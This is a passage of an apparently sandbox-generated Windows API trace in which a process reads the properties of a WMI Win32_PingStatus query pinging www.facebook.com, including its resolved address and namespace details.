(in: This=0x5c58ef0, wszName="StatusCode", lFlags=0, pVal=0x572efac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2185ca4*=19, plFlavor=0x2185ca8*=0 | out: pVal=0x572efac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2185ca4*=19, plFlavor=0x2185ca8*=0) returned 0x0 [0126.687] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ecf4 | out: puCount=0x572ecf4*=0x2) returned 0x0 [0126.687] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ecf0*=0x0, pszText=0x0 | out: puBuffLength=0x572ecf0*=0xf, pszText=0x0) returned 0x0 [0126.687] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ecf0*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ecf0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.687] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__NAMESPACE", lFlags=0, pVal=0x572ecf0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2186b2c*=0, plFlavor=0x2186b30*=0 | out: pVal=0x572ecf0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2186b2c*=8, plFlavor=0x2186b30*=64) returned 0x0 [0126.687] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0126.687] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0126.688] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__NAMESPACE", lFlags=0, pVal=0x572ecf8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2186b2c*=8, plFlavor=0x2186b30*=64 | out: pVal=0x572ecf8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2186b2c*=8, plFlavor=0x2186b30*=64) returned 0x0 [0126.688] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0126.688] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0126.688] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ecf4 | out: puCount=0x572ecf4*=0x2) returned 0x0 [0126.688] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ecf0*=0x0, pszText=0x0 | out: puBuffLength=0x572ecf0*=0xf, pszText=0x0) returned 0x0 [0126.688] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ecf0*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ecf0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.688] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__CLASS", lFlags=0, pVal=0x572ecf0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2186bc8*=0, plFlavor=0x2186bcc*=0 | out: pVal=0x572ecf0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2186bc8*=8, plFlavor=0x2186bcc*=64) returned 0x0 [0126.688] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0126.688] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0126.688] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__CLASS", lFlags=0, pVal=0x572ecf8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2186bc8*=8, plFlavor=0x2186bcc*=64 | out: pVal=0x572ecf8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2186bc8*=8, plFlavor=0x2186bcc*=64) returned 0x0 [0126.689] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0126.689] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0126.689] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ecf4 | out: puCount=0x572ecf4*=0x2) returned 0x0 [0126.689] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ecf0*=0x0, pszText=0x0 | out: puBuffLength=0x572ecf0*=0xf, pszText=0x0) returned 0x0 [0126.689] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ecf0*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ecf0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.689] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__Derivation", lFlags=0, pVal=0x572ecf0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2186d24*=0, plFlavor=0x2186d28*=0 | out: pVal=0x572ecf0*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c5dce0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c4f368, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2186d24*=8200, plFlavor=0x2186d28*=64) returned 0x0 [0126.690] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__Derivation", lFlags=0, pVal=0x572ecf8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2186d24*=8200, plFlavor=0x2186d28*=64 | out: pVal=0x572ecf8*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c5dcb0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c4f368, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2186d24*=8200, plFlavor=0x2186d28*=64) returned 0x0 [0126.690] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ecf4 | out: puCount=0x572ecf4*=0x2) returned 0x0 [0126.691] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ecf0*=0x0, pszText=0x0 | out: puBuffLength=0x572ecf0*=0xf, pszText=0x0) returned 0x0 [0126.691] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ecf0*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ecf0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.691] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__CLASS", lFlags=0, pVal=0x572ecf0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21870a0*=0, plFlavor=0x21870a4*=0 | out: pVal=0x572ecf0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x21870a0*=8, plFlavor=0x21870a4*=64) returned 0x0 [0126.691] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0126.691] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0126.691] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__CLASS", lFlags=0, pVal=0x572ecf8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21870a0*=8, plFlavor=0x21870a4*=64 | out: pVal=0x572ecf8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x21870a0*=8, plFlavor=0x21870a4*=64) returned 0x0 [0126.691] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0126.691] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0126.691] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ecf4 | out: puCount=0x572ecf4*=0x2) returned 0x0 [0126.691] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ecf0*=0x0, pszText=0x0 | out: puBuffLength=0x572ecf0*=0xf, pszText=0x0) returned 0x0 [0126.691] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ecf0*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ecf0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.691] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__Derivation", lFlags=0, pVal=0x572ecf0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21871c8*=0, plFlavor=0x21871cc*=0 | out: pVal=0x572ecf0*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c5dce0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c4f368, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x21871c8*=8200, plFlavor=0x21871cc*=64) returned 0x0 [0126.692] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__Derivation", lFlags=0, pVal=0x572ecf8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21871c8*=8200, plFlavor=0x21871cc*=64 | out: pVal=0x572ecf8*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c5dcb0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c4f368, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x21871c8*=8200, plFlavor=0x21871cc*=64) returned 0x0 [0126.702] EtwEventActivityIdControl () returned 0x0 [0126.702] EtwEventActivityIdControl () returned 0x0 [0126.702] EtwEventActivityIdControl () returned 0x0 [0126.710] EtwEventActivityIdControl () returned 0x0 [0126.710] EtwEventActivityIdControl () returned 0x0 [0126.710] EtwEventActivityIdControl () returned 0x0 [0126.852] LocalAlloc (uFlags=0x0, uBytes=0x80) returned 0x35bce0 [0126.855] LocalAlloc (uFlags=0x0, uBytes=0x80) returned 0x35bd68 [0126.938] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e920 | out: puCount=0x572e920*=0x2) returned 0x0 [0126.938] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e91c*=0x0, pszText=0x0 | out: puBuffLength=0x572e91c*=0xf, pszText=0x0) returned 0x0 [0126.938] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e91c*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e91c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.938] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e920 | out: puCount=0x572e920*=0x2) returned 0x0 [0126.938] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e91c*=0x0, pszText=0x0 | out: puBuffLength=0x572e91c*=0xf, pszText=0x0) returned 0x0 [0126.938] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e91c*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e91c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.938] IWbemClassObject:GetNames (in: This=0x5c58ef0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572e928*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572e91c | out: pNames=0x572e91c*="\x01ƀ\x04") returned 0x0 [0126.939] SafeArrayGetDim (psa=0x5c5dd40) returned 0x1 [0126.939] SafeArrayGetDim (psa=0x5c5dd40) returned 0x1 [0126.939] SafeArrayGetLBound (in: psa=0x5c5dd40, nDim=0x1, plLbound=0x572e7b4 | out: plLbound=0x572e7b4) returned 0x0 [0126.940] SysStringByteLen (bstr="__GENUS") returned 0xe [0126.940] SysStringByteLen (bstr="__GENUS") returned 0xe [0126.940] SysStringByteLen (bstr="__CLASS") returned 0xe [0126.940] SysStringByteLen (bstr="__CLASS") returned 0xe [0126.940] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0126.940] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0126.940] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0126.940] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0126.940] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0126.940] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0126.940] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0126.940] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0126.940] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0126.940] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0126.940] SysStringByteLen (bstr="__SERVER") returned 0x10 [0126.940] SysStringByteLen (bstr="__SERVER") returned 0x10 [0126.940] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0126.940] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0126.940] SysStringByteLen (bstr="__PATH") returned 0xc [0126.940] SysStringByteLen (bstr="__PATH") returned 0xc [0126.941] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__GENUS", lFlags=0, pVal=0x572e918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21947bc*=0, plFlavor=0x21947c0*=0 | out: pVal=0x572e918*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x21947bc*=3, plFlavor=0x21947c0*=64) returned 0x0 [0126.941] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__CLASS", lFlags=0, pVal=0x572e918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21948c4*=0, plFlavor=0x21948c8*=0 | out: pVal=0x572e918*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x21948c4*=8, plFlavor=0x21948c8*=64) returned 0x0 [0126.942] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0126.942] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0126.942] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__SUPERCLASS", lFlags=0, pVal=0x572e918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2194958*=0, plFlavor=0x219495c*=0 | out: pVal=0x572e918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2194958*=8, plFlavor=0x219495c*=64) returned 0x0 [0126.942] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__DYNASTY", lFlags=0, pVal=0x572e918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2194a1c*=0, plFlavor=0x2194a20*=0 | out: pVal=0x572e918*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2194a1c*=8, plFlavor=0x2194a20*=64) returned 0x0 [0126.942] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0126.942] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0126.942] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__RELPATH", lFlags=0, pVal=0x572e918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2194ab0*=0, plFlavor=0x2194ab4*=0 | out: pVal=0x572e918*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2194ab0*=8, plFlavor=0x2194ab4*=64) returned 0x0 [0126.942] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0126.942] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0126.942] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572e918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2194cf8*=0, plFlavor=0x2194cfc*=0 | out: pVal=0x572e918*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2194cf8*=3, plFlavor=0x2194cfc*=64) returned 0x0 [0126.943] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__DERIVATION", lFlags=0, pVal=0x572e918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2194e40*=0, plFlavor=0x2194e44*=0 | out: pVal=0x572e918*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c5dd70*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c4f368, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2194e40*=8200, plFlavor=0x2194e44*=64) returned 0x0 [0126.943] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__SERVER", lFlags=0, pVal=0x572e918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2194eb0*=0, plFlavor=0x2194eb4*=0 | out: pVal=0x572e918*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2194eb0*=8, plFlavor=0x2194eb4*=64) returned 0x0 [0126.943] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0126.943] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0126.943] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__NAMESPACE", lFlags=0, pVal=0x572e918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2194f38*=0, plFlavor=0x2194f3c*=0 | out: pVal=0x572e918*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2194f38*=8, plFlavor=0x2194f3c*=64) returned 0x0 [0126.943] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0126.943] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0126.943] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__PATH", lFlags=0, pVal=0x572e918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2195018*=0, plFlavor=0x219501c*=0 | out: pVal=0x572e918*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2195018*=8, plFlavor=0x219501c*=64) returned 0x0 [0126.943] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0126.943] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0126.944] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e95c | out: puCount=0x572e95c*=0x2) returned 0x0 [0126.944] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e958*=0x0, pszText=0x0 | out: puBuffLength=0x572e958*=0xf, pszText=0x0) returned 0x0 [0126.944] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e958*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e958*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.944] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e95c | out: puCount=0x572e95c*=0x2) returned 0x0 [0126.944] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e958*=0x0, pszText=0x0 | out: puBuffLength=0x572e958*=0xf, pszText=0x0) returned 0x0 [0126.944] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e958*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e958*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.944] IWbemClassObject:GetNames (in: This=0x5c58ef0, wszQualifierName=0x0, lFlags=64, pQualifierVal=0x572e964*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572e958 | out: pNames=0x572e958*="\x01ƀ\x04") returned 0x0 [0126.944] SafeArrayGetDim (psa=0x5c5dd40) returned 0x1 [0126.944] SafeArrayGetDim (psa=0x5c5dd40) returned 0x1 [0126.944] SafeArrayGetLBound (in: psa=0x5c5dd40, nDim=0x1, plLbound=0x572e7f0 | out: plLbound=0x572e7f0) returned 0x0 [0126.944] SysStringByteLen (bstr="Address") returned 0xe [0126.944] SysStringByteLen (bstr="Address") returned 0xe [0126.944] SysStringByteLen (bstr="BufferSize") returned 0x14 [0126.945] SysStringByteLen (bstr="BufferSize") returned 0x14 [0126.945] SysStringByteLen (bstr="NoFragmentation") returned 0x1e [0126.945] SysStringByteLen (bstr="NoFragmentation") returned 0x1e [0126.945] SysStringByteLen (bstr="PrimaryAddressResolutionStatus") returned 0x3c [0126.945] SysStringByteLen (bstr="PrimaryAddressResolutionStatus") returned 0x3c [0126.945] SysStringByteLen (bstr="ProtocolAddress") returned 0x1e [0126.945] SysStringByteLen (bstr="ProtocolAddress") returned 0x1e [0126.945] SysStringByteLen (bstr="ProtocolAddressResolved") returned 0x2e [0126.945] SysStringByteLen (bstr="ProtocolAddressResolved") returned 0x2e [0126.945] SysStringByteLen (bstr="RecordRoute") returned 0x16 [0126.945] SysStringByteLen (bstr="RecordRoute") returned 0x16 [0126.945] SysStringByteLen (bstr="ReplyInconsistency") returned 0x24 [0126.945] SysStringByteLen (bstr="ReplyInconsistency") returned 0x24 [0126.945] SysStringByteLen (bstr="ReplySize") returned 0x12 [0126.945] SysStringByteLen (bstr="ReplySize") returned 0x12 [0126.945] SysStringByteLen (bstr="ResolveAddressNames") returned 0x26 [0126.945] SysStringByteLen (bstr="ResolveAddressNames") returned 0x26 [0126.945] SysStringByteLen (bstr="ResponseTime") returned 0x18 [0126.945] SysStringByteLen (bstr="ResponseTime") returned 0x18 [0126.945] SysStringByteLen (bstr="ResponseTimeToLive") returned 0x24 [0126.945] SysStringByteLen (bstr="ResponseTimeToLive") returned 0x24 [0126.946] SysStringByteLen (bstr="RouteRecord") returned 0x16 [0126.946] SysStringByteLen (bstr="RouteRecord") returned 0x16 [0126.946] SysStringByteLen (bstr="RouteRecordResolved") returned 0x26 [0126.946] SysStringByteLen (bstr="RouteRecordResolved") returned 0x26 [0126.946] SysStringByteLen (bstr="SourceRoute") returned 0x16 [0126.946] SysStringByteLen (bstr="SourceRoute") returned 0x16 [0126.946] SysStringByteLen (bstr="SourceRouteType") returned 0x1e [0126.946] SysStringByteLen (bstr="SourceRouteType") returned 0x1e [0126.946] SysStringByteLen (bstr="StatusCode") returned 0x14 [0126.946] SysStringByteLen (bstr="StatusCode") returned 0x14 [0126.946] SysStringByteLen (bstr="Timeout") returned 0xe [0126.946] SysStringByteLen (bstr="Timeout") returned 0xe [0126.946] SysStringByteLen (bstr="TimeStampRecord") returned 0x1e [0126.946] SysStringByteLen (bstr="TimeStampRecord") returned 0x1e [0126.946] SysStringByteLen (bstr="TimeStampRecordAddress") returned 0x2c [0126.946] SysStringByteLen (bstr="TimeStampRecordAddress") returned 0x2c [0126.946] SysStringByteLen (bstr="TimeStampRecordAddressResolved") returned 0x3c [0126.946] SysStringByteLen (bstr="TimeStampRecordAddressResolved") returned 0x3c [0126.946] SysStringByteLen (bstr="TimestampRoute") returned 0x1c [0126.946] SysStringByteLen (bstr="TimestampRoute") returned 0x1c [0126.946] SysStringByteLen (bstr="TimeToLive") returned 0x14 [0126.947] SysStringByteLen (bstr="TimeToLive") returned 0x14 [0126.947] SysStringByteLen (bstr="TypeofService") returned 0x1a [0126.947] SysStringByteLen (bstr="TypeofService") returned 0x1a [0126.947] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="Address", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2195778*=0, plFlavor=0x219577c*=0 | out: pVal=0x572e954*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.facebook.com", varVal2=0x0), pType=0x2195778*=8, plFlavor=0x219577c*=0) returned 0x0 [0126.947] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0126.947] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0126.947] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="BufferSize", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x219580c*=0, plFlavor=0x2195810*=0 | out: pVal=0x572e954*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x219580c*=19, plFlavor=0x2195810*=0) returned 0x0 [0126.947] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="NoFragmentation", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x219587c*=0, plFlavor=0x2195880*=0 | out: pVal=0x572e954*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x219587c*=11, plFlavor=0x2195880*=0) returned 0x0 [0126.947] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="PrimaryAddressResolutionStatus", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2195ab4*=0, plFlavor=0x2195ab8*=0 | out: pVal=0x572e954*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2195ab4*=19, plFlavor=0x2195ab8*=0) returned 0x0 [0126.948] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="ProtocolAddress", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2195b24*=0, plFlavor=0x2195b28*=0 | out: pVal=0x572e954*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="69.171.250.35", varVal2=0x0), pType=0x2195b24*=8, plFlavor=0x2195b28*=0) returned 0x0 [0126.948] SysStringByteLen (bstr="69.171.250.35") returned 0x1a [0126.948] SysStringByteLen (bstr="69.171.250.35") returned 0x1a [0126.948] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="ProtocolAddressResolved", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2195bb0*=0, plFlavor=0x2195bb4*=0 | out: pVal=0x572e954*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="", varVal2=0x0), pType=0x2195bb0*=8, plFlavor=0x2195bb4*=32) returned 0x0 